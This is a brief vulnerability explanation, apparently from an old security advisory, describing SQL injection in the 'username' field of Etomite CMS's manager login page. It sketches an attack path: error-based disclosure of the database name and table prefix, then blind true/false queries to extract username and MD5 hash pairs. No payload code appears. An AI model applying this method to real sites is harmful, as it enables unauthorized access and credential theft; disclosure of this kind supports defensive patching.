explaination:

goto http://[target]/[path_to_etomite]/manager/index.php

and, if magic_quotes_gpc=Off you have sql injection in 'username' argument

you *could* bypass login check with a well crafted 'UNION SELECT' but the
following 'REPLACE INTO' query will fail.
Through the error message you can disclose database name and table prefix
that will be useful to go on with a new attack, asking true/false questions
to the database to dislose username/md5 hash pair...
